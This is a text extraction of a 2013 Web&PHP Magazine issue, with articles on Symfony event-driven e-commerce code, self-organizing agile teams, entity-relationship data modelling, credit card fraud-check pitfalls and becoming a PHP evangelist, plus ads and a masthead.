<?php namespace Demo\App; class EcommerceListener { protected $container; public function __construct($container) { $this->container = $container; } public function handlePurchasableAction($event) { $purchasable = $event->getPayload(); if($purchasable instanceof \Demo\App\PurchasableInterface) { $basket = $container->getBasket(); $basket->addProduct($purchasable); // redirect to basket page. header("Location: /basket"); exit; } }

Listing 8
$event_dispatcher = new Symfony\Component\EventDispatcher\ EventDispatcher(); $ecommerce_listener = new EcommerceListener($this->container); $event_dispatcher->addListener('purchasable.record.created',  array($ecommerce_listener, 'handlePurchasableAction'), 0); $this->container->setEventDispatcher($event_dispatcher);

Listing 9
// $booking object created earlier and populated with the booking $booking->save(); if($booking->getEvent()->isAPaidForEvent()) { $event = new Demo\App\Event($booking); // set our payload $dispatcher = this->container->getDispatcher(); $dispatcher->dispatch('purchasable.record.created', $event); }

Listing 10
$oid = $incoming_payment_transaction->getOrderId(); $order = $this->container->getFactory('orders')->createFromId($oid); $order->paymentReceived();

www.webandphp.com

Web&PHP Magazine 4.13 | 16

E-commerce Symfony

perform this redirection and the add-product listener would have a higher priority. This would give other listeners the opportunity to do any other discrete units of work before something such as a header redirect or exit call is made.

Raise and dispatch the event The final step to join all of these processes together is to actually raise an event and dispatch it to our event dispatcher. Code, such as that below, would be added to the method, which processes a customer creating an event booking. Taking it further Of course for an e-commerce site there are further considerations we need to complete a project such as this, such as:
Order processing Payment integration Customer management These are fairly standard features which can be dropped-in in isolation, the exception being payment processing. This would be a relatively simple process, such as shown in Listing 10.

And within our order model, we simply make use of the PaymentReceived method defined in our PurchasableInterface interface and implemented in our Event Booking model (Listing 11). With the Event Dispatcher we have been able to integrate the add-to-basket functionality for non-standard custom products, which still retaining existing logic. It has allowed us to intercept an event happening on the site.

Want to get savvy and hands-on with Red Hats OpenShift PaaS?

Summary We have seen how we can easily enable e-commerce functionality into an existing application which wasnt designed for e-commerce. The Event Dispatcher lets us de-couple actions and events which are not necessarily directly related but may need to link together in certain use cases. An example implementation of this project is available at: https://github.com/mkpeacock/EventDispatchingECommerceDemo. Happy dispatching!

Listing 11
public function paymentReceived() { $product_objects = $this->getRelatedProductObjects(); foreach($product_objects as $product) { $product->paymentReceived(); } }
Michael Peacock is an experienced senior/lead developer and Zend Certified Engineer with a degree in Software Engineering from the University of Durham. After running his own business for a number of years, and subsequently developing a large web-based vehicle telematics platform, he now leads the development team at Ground Six, an ideas investment company based in the North East. When he isnt developing software, Michael can often be found speaking or writing about it. You can follow him on twitter: www.twitter.com/michaelpeacock.

Available ale and on s for $ 3.99

www.webandphp.com

More information: www.developer-press.com

Self-organizing teams Agile

Give teams the space to learn from their mistakes and empower them!

Create your own self-organizing teams


In the last few months, I have often mentioned that self-organizing development teams are the key to any successful agile project. Having a common under- standing of what this means with your agile teams is critical or they will not meet your expectations. This article will explore self-organizing teams and will provide you with some hacks to help them happen faster in your organization.

by Steffan Surdek

The last few months allowed me to work with customers that adopted agile practices without any coaching and that wanted an assessment of their current practices. Three of the common challenges I find in these assessments are: 1. A misunderstanding of the Scrum Master role 2. Development teams that cannot self-organize 3. Development teams that do not take ownership of their projects These points tie together because among other things, a good Scrum Master makes sure the team can selforganize and carry out Scrum meetings by themselves. Teams that do not take ownership of their development

process will not take ownership of their projects either. The other interesting thing is that when I ask management why they adopted agile practices, they will usually tell me one of the reasons is they want to increase the accountability and responsibility of their development teams. They usually also tell me they are still having issues making this happen. When I ask them if they told their teams about these unmet expectations or if they empowered them to reach that goal, they typically answer no.

What is a self-organizing team? There are various elements surrounding self-organizing teams and we will discuss them in this section. As a starting point, a self-organizing team takes ownership for maximizing the value of the software they develop. This means the team is not afraid to propose

multiple designs or architectural solutions and recommend the one they feel will provide the best return on investment for their Product Owner. Taking collective ownership of a project also means that members constantly keep an eye on the current sprint plan and will reorganize the work and assignments as necessary, to make sure they can meet their sprint goal. Team members will also pull tasks from the backlog as necessary without waiting for someone to assign them work. One of the challenges in building a self-organizing team is getting all team members working as peers. Depending on the company culture, team members may have various roles such as architects, testers, developers and technical writers and these roles may represent an informal hierarchy for team members. Team members need to be willing to work collaboratively and value the opinion of everyone on the team regardless of roles. One way to achieve this is to build a set of team rules everyone agrees on. These rules are a set of protocols and commitments between team members and are a starting point on which the team can continuously build upon. Making them visible in the team work area allows team members to refer to them when necessary and although they will need courage to challenge each other about following their team rules this courage is part of being a self-organizing team. The core protocols (available at http://liveingreatness.com) provides a good example of an in-depth set of protocols teams can use to improve how they function as a team. Self-organization requires having mechanisms to help you decide as a team. Do you need consensus in decision-making or can anyone decide anything they want? Using a simple thumbs up or thumbs down vote is an easy way to confirm if all team members are on board with a team decision. When some people vote thumbs down, ask them what would help them

www.webandphp.com

Web&PHP Magazine 4.13 | 18

Self-organizing teams Agile

change their vote and listen for how their contribution could improve the decision the team made. In decision making, the key is making sure all team members get their fair say. When some team members systematically oppose any decision others make, there may be a trust issue teams need to work through. Another key point is to decide how to share decisions made within the team. Maintaining a decision log to document the decisions the team made and the reasons they came to that conclusion is a great tool to start. Another part of self-organization relates to brainstorming meetings. When meetings continually run long, go off track or end with no clear decisions these are clear warning signs of ineffective team meetings. Having an agenda for team meetings and clear objectives or desired outcomes will help teams be much more productive. Making effective use of time boxes is one way to help teams remain focused during brainstorming sessions. Finally, the most important part of self-organization is promoting transparency even when projects are not going well. Transparency allows teams to build credibility with the management team and will allow everyone to make informed decisions. Transparency requires courage from the team and it calls for understanding from management as well. Any time the management shows a lack of understanding when receiving bad news they will slowly drain the courage from team members.

Scrum Masters and self-organization The official role of the Scrum Master is to ensure the team follows the rules of Scrum and adheres to the framework. This definition assumes the team can selforganize but this is usually a challenge with new teams. On new teams, the Scrum Master often facilitates team meetings such as the Sprint planning, daily scrum, sprint review and retrospective meetings.

How do you go from facilitating everything to just ensuring the team is following the rules of Scrum? As a Scrum Master, you start by teaching the team the Scrum framework and facilitating the meetings for a couple of sprints then you slowly start delegating some of the meetings to the team. In the assessments I was talking about earlier, I often find Figure 1: Tuckman stages and situational leadership styles myself asking the Scrum Master if the team could run a meeting such as the day. This shared ownership of the meeting across Sprint planning meeting without them being present. team members and allowed everyone the opportunity to lead the meeting. More often than not unfortunately the answer is no. The other way for Scrum Masters to help their teams There are two ways to start delegating a meeting to the team. The drastic way is simply not showing up self-organize is to start asking questions in various sitfor a meeting and then you will see if the meeting hap- uations. For example, when team members are conpens at all. If it did happen, you should take some time tinually asking the same routine questions, the Scrum to speak with team members and get their feedback Master can simply ask them who else they asked on the team before coming over and redirect them to othon how the team did. A softer way is for you to let the team know you ers on the team. want them to be able to run these meetings and let them know which one you will delegate first. You Self-organization and management should explain you will only attend the meeting to ob- Management teams sometimes live in contradiction. serve and support the team but the entire team owns While some say they want their teams to self-orga running the meeting. nize and take responsibility, they do not change their Having a clear routine with defined meeting agen- current behaviour to accommodate this. I heard a lot das and objectives the teams knows about helps in about collaborative leadership with one of my previsuccessfully delegating meetings to the team. As an ous employers and found that managers mistakenly example, on one team I worked with, the Scrum Mas- understood this to mean the team did whatever they ter delegated the daily scrum meeting by having the wanted. These managers acted as if they no longer team pick a different facilitator for the meeting each had a voice in the decision making.

www.webandphp.com

Web&PHP Magazine 4.13 | 19

Self-organizing teams Agile

Among other things, self-organization means teams must have decision making ability with the caveat that teams are working within a sandbox defined by their management team. Any decision inside the sandbox belongs to the team, but the managers role is to gently nudge them back when the team steps outside the sandbox. The reality is also that teams are not all at the same development stage. The leadership style and delegation you give them as a manager should take this into account. Figure 1 shows the Tuckman stages of group development and associated situational leadership styles. Jurgen Apello talks about seven levels of delegation in his book Management 3.0 which further refines the situational leadership styles. Another important point for management is that delegation of authority implicitly means giving teams the right to make mistakes or rather, the space to learn from their bad decisions. In company cultures where blame and finding culprits rules the day, teams will be wary of taking risks and making mistakes.

questions instead of providing or searching for all the answers in place of the team. Management teams must learn to empower their teams and give them the space to make mistakes and learn from them. Collaborative leadership does not mean the management team no longer has any say, it means they define the sandbox in which teams can make their own decisions and gently nudge them back when they step out of the sandbox.

When giving a presentation take your audience to a place where they know about your topic, understand it and act on it.

Conclusion Companies should consider creating self-organizing teams as an investment because building them takes time and the existing company culture can create added challenges. Creating such teams begins with a clear message of this expectation from the management to the development teams. Self-organization encompasses many things such as team members taking ownership of their development process, proposing solutions, showing transparency and managing team member behaviours. Teams should identify their team rules and have a shared decision making process. A key role of the Scrum Master is helping the team become self-organizing. They can foster this by slowly delegating meetings to the team and asking the team

Available ale and on s for $ 2.99


Steffan Surdek is a senior consultant and agile coach at Pyxis Technologies. Steffan has worked in IT for over eighteen years in collaboration with many distributed teams around the world. In the last few years, Steffan was an agile trainer and coach in large companies such as IBM and the TD Bank Group. He speaks at many conferences and user groups about agility with distributed teams. Steffan is co-author of the book A Practical Guide to Distributed Scrum written in collaboration with the IBM Scrum Community. He blogs on his website at http:// www.surdek.ca.

www.webandphp.com

More information: www.developer-press.com

The FREE technical whitepapers resource


Java Big Data Mobile Open Source Cloud Web

For more information visit: www.whitepapers360.com

Big Data Column

Data Modelling 101


by Cory Isaacson

(columns), with all main relationships specified. This makes it easy to read and use, without making it overcomplicated. In the next sections, Ill walk through an example model, using the streamlined Entity-Relationship Modelling approach, tried and tested over years of work and 1000s of applications. One other thing to keep in mind when going through this article is that there are numerous excellent data modelling tools on the market. You can use one of these, or just create your model with any visual graph tool. I like to use an actual data modelling tool, as long as it conforms to the modelling process I have adopted. Such tools can save a lot of time, helping with

Bio
Cory Isaacson is CEO/CTO of CodeFutures Corporation. Cory has authored numerous articles in a variety of publications including SOA Magazine, Database Trends and Applications, and recently authored the book Software Pipelines and SOA. Cory has more than twenty years experience with advanced software architectures, and has worked with many of the worlds brightest innovators in the field of high-performance computing. Cory has spoken at hundreds of public events and seminars, and assisting numerous organizations address the real-world challenges of application performance and scalability. In his prior position as president of Rogue Wave Software, he actively led the company back to a position of profitable growth, culminating in a successful acquisition by a leading private equity firm. Cory can be reached at: cory.isaacson@codefutures.com.

In last months issue, I reviewed the meaning of data, and more importantly the key concept that all data is relational. To recap, data in an application has no meaning unless it is related to other data. With these relationships, the data can be used to meet the requirements of your application and the needs of your organization. This concept applies to all types of DBMS engines traditional Relational DBMSes, NoSQL, NewSQL, you name it. To ensure your database structure is useful, meaningful and meets your particular application needs, it is critical that you create a data model. I have always found this vital in building a small project as an individual developer, and know from hard-won experience managing many software teams that it is even more important on large projects. A data model is critical, everyone on the team needs to know it and understand it, if you are going to have

a successful application that delivers as expected functionally and with regards to performance. So why bring so much attention to a data model and the data modelling process? Because in working with developers over the years (and particularly in recent years on a variety of Big Data projects), I have found this to be a very important step in the application development process a step that often gets skipped or done without due importance. In this article, I will cover the fundamental concepts of data modelling, and the process for developing a workable data model.

The Ideal Data Model There are many types of data modelling approaches; some are very detailed with an extensive number of steps. The style I prefer is an Entity-Relationship data model that shows all entities (tables) and attributes

www.webandphp.com

Web&PHP Magazine 4.13 | 22

Big Data Column

things like naming consistency, validation of relationships, and other useful capabilities. There are many affordable options available.

Entity-Relationship Modelling: Definitions The Entity-Relationship Modelling approach is tried and tested, if you stick to a few simple rules then the basic process is easy to learn, and fast to implement. The place to start is with a few basic definitions:
Entity-Relationship Model: The entity-relationship model (or ER model) is a way of graphically representing the logical relationships of entities (or objects) in order to create a database [1]. Entity: An entity may be defined as a thing which is recognized as being capable of an independent existence and which can be uniquely identified. Entities can be thought of as nouns. Examples: A computer, an employee, a song ... [2] Attribute: Entities have attributes. Examples: An employee entity might have a Social Security Number (SSN) attribute ... [2] Relationship: A relationship captures how entities are related to one another. Relationships can be thought of as verbs, linking two or more nouns. Examples: A known relationship between a company and a computer a supervisor relationship between an employee and a department, or a performance relationship between an artist and a song [2] You can see that an Entity-Relationship Model is made up of 3 things: Entities, Attributes and Relationships. Here are some additional notes that can be helpful in working with these concepts: An Entity is the core, and normally translates to a table or other discrete data structures (such as an Object in a NoSQL database).

An Entity must be uniquely identifiable. You can think of each instance of an Entity as its own object or thing that you are representing in your database. Entities have Attributes, which are additional data elements that describe or define an Entity. Entities have Relationships between them, based on matching Attributes values. For example, CustomerOrder Entity may be related to a Customer Entity, using the CustomerId Attribute. With these basic definitions in hand, we can look at how Relationships work in Entity Relationship Modelling, and how it all fits with the Entity Relationship Modelling process.

of the three Relationship types, and is easily resolved with a special Join Entity, an Entity that is created to break such a Many-to-Many Relationship down into two One-to-Many Relationships. Extending our simple example, you can add a CustomerOrderLine Entity, containing one order line per Product purchased, and now end up with two Oneto-Many Relationships: CustomerOrder | CustomerOrderLine and Product | CustomerOrderLine. As you can see, there are only 3 types of Relationships that can exist in a database. Later on we will discuss how to normalize your Entity-Relationship Model, to streamline and simplify your model, such that the model has only One-to-Many Relationships once the process is complete.

The Types of Relationships Now lets look at the types of Relationships, the very core of Entity Relationship Modelling:
One-to-One Relationship: This is where a data element or objects relates to exactly one instance of an Entity. An example would be the Name of a Person Entity (most people usually only have one name ). One-to-Many Relationship: An instance of an Entity can relate to many instances of another Entity. Here are some examples: A Car has many Doors, a Company has many Employees. The One-to-Many Relationship is the most common type found in an Entity-Relationship Model. Many-to-Many Relationship: In this case, one instance from Entity A can relate to many instances in Entity B, and each of the instances of Entity B can in turn be related to many instances of Entity A. An simple example is as follows: A CustomerOrder instance can contain many Product instances, and Product instance can be included in many CustomerOrder instances. This is by far the most complex

Entity-Relationship Modelling: The Process The basic process for Entity-Relationship Modelling has these simple steps:
Discover Entities Discover Attributes Discover Relationships Then there is a final step to normalize your model to ensure it is correct and will function. (I also add one last step which is to then de-normalize the model for performance and convenience, a technique I will cover in a later article). So how do you go about this? Its fairly easy, and after a while it becomes second nature you may even find yourself thinking relationally about lots of software problems. The key is the word discover, as that is how you do it. You look around at all of the things involved in the system you are modelling, and start noting down Entities. As you do that, you inevitably start to discover

www.webandphp.com

Web&PHP Magazine 4.13 | 23

Big Data Column

Attributes for your Entities, and then you can discover Relationships for your Entities. Lets say you want to start your own online Music site, organizing all of the coolest new songs for users. As we look at the area of Music, we can discover all sorts of obvious Entities: Artist Song Album Genre Then we can discover Attributes for these Entities, for example the Artist and Song Entities might look like this: Artist ArtistId Name Song SongId Title Genre Album AlbumId Title Youll notice that I have added an id Attribute to each Entity, which typically is just a sequential key. This makes working with the database far simpler, especially when describing relationships with primary keys and foreign keys (more about that in a future article). With this much of the model done, we can start to discover Relationships, here are two obvious ones: Artist to Song: One-To-Many Album to Song: One-To-Many

However, if you review this model carefully, you will see that it is over-simplified, even for this rudimentary example. The flaw in the logic is that a single Song can have more than one Artist, so really the Artist to Song Relationship is Many-to-Many. That is the first step in normalizing your model, resolving any Many-to-Many Relationships. There are other rules for normalizing your data model, and Ill cover that in depth in a future article. Hopefully you can see that with not much work, you can easily define the basic structure of your database in a very short time. We dont really have a workable data model yet, but this section did review the most important steps in the discovery process.

Discover the latest attack methods and how to prevent them with:

Wrapping it up This article covered the basics of Entity-Relationship Modelling, providing you with the basic structure and process. In future articles I will review a much more indepth example, a complete Entity-Relationship Model, and delve into database normalization, an important part of the modelling process.

Available ale and on s for $ 3.99

References
[1] http://searchsqlserver.techtarget.com/definition/entity-relationship-model [2] http://en.wikipedia.org/wiki/Entityrelationship_model

www.webandphp.com

More information: www.developer-press.com

Security Column

Day to Day Fraud Detection


by Arne Blankerts, thePHP.cc, Germany

Why credit card processing is faulty


Without it, you will probably have a hard time reserving a hotel room, renting a car, paying for the concert ticket you ordered online, or even download music from the online music store. Yes, Im speaking of the good old credit card and despite companies like PayPal gaining market share, its probably still the most common payment method for online transactions. Looking at how credit cards are used in everyday life, its amazing that such an inherently insecure system survived as it is violating almost every rule there is in terms of security. Even though it provides all three security relevant details (the number, expiry date and ccv code) on the same physical plastic card, you hand it over to the waiter in the restaurant, hoping he or she will not copy the data down whilst processing your bill. Oh, and you might as well sign the receipt with Mickey Mouse rather than your real name, as nobody bothers checking your signature anyway. Technically the transaction has already been processed and the signature merely gets checked if at all in case of a dispute. It seems that the credit card companies realized that this is becoming expensive for them. Sick of covering up the fraud and reimbursing customers, they have started to fight back: When used online, instead of only entering the already known three components, one now has to provide a fourth at least sometimes. Because depending on the bank, card issuer or credit card company the mechanism for this component varies. Some want to have an answer to the previously chosen question; others require the use of random reader generated code. To make it a bigger mess, the requirement to actually use this more secure system depends on the country of origin of the card in use, local laws, and on the online shop you try to pay at. The shop owner may also decide whether or not to use this additional security layer.

Of course this wont work at in an old school classical retail store or restaurant. Did somebody just say PIN code? Do you have any idea how that would screw up the processes in (busy) restaurants, where credit cards magically disappear from the table just too magically return with the printed receipt, waiting to be signed? Or do you actually sign on those digital pads at the register? Long story short, it seems that tightening the security on the user side is not really an option if you dont want the process to take any longer. And the ease of use seems to be a vital factor otherwise there would be no logical reason to push contact free payment methods that do not even require a signature or PIN. So instead of adding security measures and even enforcing them, the credit card companies had to come up with a means to decide whether or not to accept a transaction before authorizing payment. Looking at it, the credit card companies have the same type of problem as every online shop. Depending on the trustworthiness or track history of the customer, different forms of payment may be available or not. Prepaid, credit, an invoice based payment, or even instalments. Each method comes with pros and cons: While a prepaid transaction is most secure

Bio
Arne Blankerts consults for thePHP .cc, solving IT problems long before many companies realise that they even exist. IT security is his passion, which he pursues with almost magical intuition, creating solutions that always bear his hallmark. Companies around the world rely on his site system and Unix-based system architectures.

www.webandphp.com

Web&PHP Magazine 4.13 | 25

Security Column

for the shop owner it is also pretty much the slowest form of payment, causing huge delays in getting the ordered goods out to the client. A post paid payment on the other hand comes with the risk of not getting paid at all.

Looking at how credit cards are used in everyday life, its amazing that such an inherently insecure system survived as it is violating almost every rule there is in terms of security.
So what to offer? And to whom? A returning customer with a standing history of successful transactions is more likely to be allowed to pay after receiving the goods than a new customer. Sounds logical? True, but why? Every customer was a good customer before things went downhill. To reduce their own risks, many a shop owners push the burden of deciding about which type of transaction to use to a payment provider. And what do they do? They usually perform various logical checks of the data provided as well as additional background checks. The logical part starts with a simple question: Does the credit card number given make sense? As random as the digits may seem, they include checksums and other information that make it easy to tell if the numbers are made up or could actually exist. But of course by merely looking at them, nobody can tell whether or not they refer to an active card, and if it actually belongs to the person claiming it. Another important Task is to find out if new transactions can be run against it? The only way to do that is to actually run a transaction, which at least for

a credit card is pretty easy: A simple lock request will allocate, but not yet subtract, funds on the card but only if all the passed details match. In case this is merely done to verify the card, using a large amount of money for this is likely to make the customers unhappy. As a result, many websites try to allocate very small amounts, like 1 cent only. While 1 cent may seem like nothing much, it still is an allocation of funds. So to be nice to their potential customers some shops and their payment providers must have been thinking: How about we run a transaction allocating 0 cent? What sounds like a brilliant idea at first, can easily backfire: My credit card company for instance blocks empty transaction to prevent the potential abuse of their service for the very reason these checks are made, and to not have to process from their perspective pointless transactions. Hence, as part of their fraud detection they dont allow 0 cent transactions, declining the (verification) request. What makes perfect sense in their context who would want to pay for empty transactions? gets interpreted as an invalid card by the shop, prohibiting the use of these cards, even though they are perfectly valid and active. So if you have to implement it on your systems, you should think at least twice on how to translate the business requirement into rules and those rules into actual code. This process can be as hard as figuring out the correct rule set as external services and partners may have their own rules and fraud detections in place. The last thing you possibly would want is two fraud detection systems fighting each other the user will always be at the losing end.

Take advantage of WebSockets and turn your website into a web application with our ebook !

Available ale and on s for $ 4.99

www.webandphp.com

More information: www.developer-press.com

How to Community

Become involved with your community

Do you want to be a PHP Evangelist?


Before we dive into the subject of how to become a PHP Evangelist, we need to agree on the definition of the word evangelism. In order to become a PHP Evangelist it is essential to really understand its meaning.

by Daniel Ribeiro

What does Evangelism mean?: Wikipedia gives us a detailed definition: Evangelism is the preaching of the Christian Gospel or the practice of relaying information about a particular set of beliefs to others with the object of conversion. Parts of the above sentence actually ring true when it comes to becoming a PHP Evangelist, even if unconsciously. To evangelize is to effectively transfer information regarding one set of beliefs to another, with the final goal of converting each individual to the original belief. Isnt that what we do when we spread the word of PHP?! The idea behind being a PHP Evangelist is for an individual to speak passionately about PHP and be able to have strong and durable arguments for PHP, if ques-

tioned about his faith in the technology. With this devout unbending faith in PHP it will encourage others to not only start using the language, but to also fall in love with it too. Maybe someday, those PHP beginners will become evangelists was well.

What do you need to start doing to become a PHP Evangelist? Have an advanced knowledge of the language. After all, how can you have a solid and strong argument in any technical debate without knowing what you are debating about? What sources should I use to help advance my knowledge of the language? You should definitely check out the official docs. When dealing with PHP, you will not find a better resource than the official documentation, make it your main tool to evolve, study and research

every single document. You could look into the Zend Engineer Certification from Zend Technologies, which is currently the main certification for PHP. You take an exam which gives you questions on the language itself. Pass and you become a certified engineer. That will place you on the Yellow Pages of Zend Technologies, a good place to be for developers to contact you to ask advice. Think out of the box. Technology evangelists are easy to spot, because they become the face of that technology within the community they work. PHP evangelists should become the reference point and a point of contact for other PHP programmers, especially if they have a question about the language. How will I stand out from others in the community? There are many things you can do; one thing would be to look at all of the RFCs (Request for Comments). Here you will have an overview page of all RFCs related to PHP core development. Thats where you will find the community feature implementation proposals for the language. So when youre next at a community event, discuss implementation proposals, offer your opinions on them. Knowing how the development of the technology you utilize is going can be a great advantage. Which features do the community wish to see into the language core? Which of these are actually going to be approved? Will they be in the next stable version? What discussions have been driving those proposals and approvals? Research. You can also attend local events related to PHP, such as conferences that are often hosted in lots of different countries. Some countries even have organized groups of PHP users that host talks about relevant topics for the community. By attending events such as these or even by talking to the other attendants, you will be recognized. You could even host an event yourself!

www.webandphp.com

Web&PHP Magazine 4.13 | 27

How to Community

Contribution We all know that the theoretical knowledge about software engineering is important, but it is architecture and modelling which actually distinguishes the professionals from the amateurs in the world of programming. By taking good design and architectural decisions, you can achieve a more robust code with more quality and easier maintainability. One of the great study tools you can use is opensource project contribution. Often, just by watching the development of open-source projects, you learn about some of the advanced features of that language, and consequently improve your technical knowledge. Some people become evangelists just because they are leading or contributing to an impressive open-source project. That may not seem like a lot, but contributing to open source projects really makes the difference. Usually, open-source contributors have that differential touch that a successful company often needs in their team. They are concerned about code quality, maintainability and low coupling, for example. Usually they work outside of the box for the companies. Open-source contributors are often taken as geeks or nerds, but the truth is they are the ones that do what they do because they love PHP. They are so passionate that they come home from work and keep coding, researching, learning from the projects and from the community. Everyone wants to be like that or at least have someone like that in their team. If you are not sure where to start or what project to contribute to, GitHub will help you. There you can find a list of the most watched projects written in PHP: frameworks, libraries and even language interpreters. There is a huge selection of projects, which means that there is room for contribution or two from oneself.

Be ready to lead Again, Wikipedia defines the concept of leadership for us: a process of social influence in which one person can enlist the aid and support of others in the accomplishment of a common task PHP evangelists are born to lead, to form opinions, influence the opinions of others and to have followers and haters as well. Even if you think you were not born to be a leader or just dont want to be one, you will have to get used to public speaking if you wish to become a PHP evangelist. Leaders naturally influence the people they are surrounded by. This can be a good thing and a bad thing as well. Therefore leaders/evangelists should always be careful with what they say and teach. In the end These are just a few tips to send you in the direction of becoming a PHP evangelist. That doesnt mean you will be able to accomplish it easily, but if you have the passion for PHP, youre already half way there.

About Web & PHP Magazine


Publisher Software & Support Media Ltd Editorial Office Address 24 Southwark Bridge Road, London, SE1 9HF www.sandsmedia.com Editor: Anna Kent (annak@sandsmedia.com) Authors: Arne Blankerts, Wil Moore III, Cory Isaacson, Richard Johnson, Michael Peacock, Daniel Ribeiro, Steffan Surdek Creative Director: Jens Mainz Layout: Tobias Dorn, Petra Rth Sales: Ellen May +44 207 199 6234 ellenm@sandsmedia.com Contents copyright 2013 Software & Support Media Ltd. All rights reserved. No part of this publication may be reproduced, redistributed, posted online or reused by any means in any form, including print, electronic, photocopy, internal network, Web or any other method, without prior written permission of Software & Support Media Ltd. The views expressed are solely those of the authors and do not reflect the views or position of their firm, any of their clients, or Publisher. Regarding the information, Publisher disclaims all warranties as to the accuracy, completeness, or adequacy of any information, and is not responsible for any errors, omissions, in adequacies, misuse, or the consequences of using any information provided by Pub lisher. Rights of disposal of rewarded articles belong to Publisher. All mentioned trademarks and service marks are copyrighted by their respective owners.

Daniel Ribeiro is a PHP senior developer, speaker and evangelist in Florianpolis, Brazil. Currently working at Obiz Tecnologia and a member of PHP Santa Catarina (PHPSC) community, he is a Zend Certified Engineer, working with PHP since 2006. He loves to share code and contribute to open-source projects. Usually, his focuses on TDD, object-oriented design and programming and code refactoring.

www.webandphp.com

Web&PHP Magazine 4.13 | 28

You might also like